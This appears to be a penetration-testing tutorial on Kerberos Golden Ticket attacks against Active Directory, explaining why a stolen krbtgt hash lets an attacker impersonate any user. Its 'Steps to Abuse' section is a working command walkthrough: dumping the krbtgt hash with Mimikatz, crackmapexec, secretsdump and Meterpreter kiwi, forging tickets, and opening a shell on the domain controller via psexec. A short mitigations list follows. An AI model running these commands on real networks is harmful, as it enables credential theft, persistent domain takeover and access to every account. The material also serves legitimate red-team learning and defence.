Golden Tickets

An excellent way to obtain persistence within an Active Directory environment is by creating what are called "Golden Tickets." These tickets allow an attacker to compromise every account and gain privileged access to any machine within not only the current domain, but other domains within the network as well.

For a brief overview of the Kerberos Authentication process, I have it explained here.

Golden Ticket attacks take advantage of the weakness of Step 3 in the Kerberos Authentication process (as seen in the picture below) which is that the only authentication performed in this step is the KDC being able to decrypt the TGT with the hash of the krbtgt account.

From PentesterAcademy.com

Therefore, if you are able to obtain the krbtgt NTLM hash you can use it to impersonate any user in the domain and create tickets for that user to access any service you wish.

These hashes are usually obtained by having Domain Admin privileges or local administrator privileges on the Domain Controller. Other misconifigurations could also cause the hash of this account to be leaked.

As long as we have a valid krbtgt hash to encrypt the Ticket Granting Service request with which to forge the request, any user in the domain can be impersonated to gain access to any service we want access to. The KDC will accept the request regardless. An encrypted TGS is returned which he can then use to access the service he requested with the privileges of the user he wants to impersonate. Steps 1 and 2 of the normal ticket granting request process are completely bypassed.

Since the KDC will not validate the user for 20 minutes from the creation of the ticket, you can create tickets for disabled or fake users and access resources using those disabled or fake accounts before the 20 minutes expire.

Golden tickets are a popular method of persistence for several reasons. 1) The krbtgt password is rarely changed and network administrators tend to leave the accoutn alone. 2) The krbtgt will always keep the same name no matter the domain. 3) This attack still works even if all other users have their password changed. 4) They can be used to cross between forests and trusts.

It should be noted that Read-Only Domain Controllers (RODC's) each have their own individual krbtgt account.[1] Therefore, these accounts should be enumerated if possible.

Steps to Abuse:

Step 1: Enumerate krbtgt users

• With AD Module

Get-ADUser -Filter {name -like "krbtgt*"} -Property Name,Created,PasswordLastSet,msDS-KeyVersionNumber,CanonicalName,msDS-KrbTgtLinkBl

Step 2: Obtain krbtgt hash

- With Domain Admin privileges in a powershell session
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' [-ComputerName <dc>]
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
Invoke-Mimikatz -Command '"lsadump::lsa /inject /name:krbtgt"' [-ComputerName <dc>]
Invoke-Mimikatz -Command '"sekurlsa::krbtgt"'

From Linux

crackmapexec smb <ip> -u <domain admin> -p <pass> --ntds
python3 secretsdump.py <username>@<ip> [-just-dc-ntlm] [-dc-ip <dc-ip>]

From Meterpreter

load kiwi
dcsync_ntlm krbtgt
dcsync krbtgt

Step 3: Obtain the ticket and confirm

From Powershell

Invoke-MimiKatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain SID> /krbtgt:<krbtgt hash> /ptt [/ticket:<ticket>] [/id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080]"'
ls \\<dc>\C$
PsExec.exe \\<dc.domain> cmd.exe

From Linux (impacket)

python3 ticketer.py -nthash <krbtgt-hash> -domain-sid <domain sid> -domain <domain> Administrator
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k <dc domain> -no-pass [username@domain]

From Meterpreter

load kiwi
golden_ticket_create -d <domain> -k <krbtgt-hash> -s <domain SID> -u <user> -t </path/to/ticket>
kerberos_ticket_purge
kerberos_ticket_use /path/to/ticket.ticket
kerberos_ticket_list

Mitigations:

• If you notice that Golden Tickets are in use, then you must reset the krbtgt password twice so that the old password is not kept in its password history (krbtgt accounts store the current and last set passwords).

• Restrict access rights to the Domain Controller.

• Have as few Domain Admins as you can possibly have to minimize the chances of compromise.

• Use a tiered logon protocol and only allow Domain Admin accounts access to only the machines they need to access. If custom admin groups can be created to delegate access then do so. Resticting access like so will decrease the chances of a Domain Admin password hash being dumped from a non-DC machine which would then be used to obtain the krbtgt hash.

• Change the krbtgt password on a regular basis

References:

[1]: https://adsecurity.org/?p=483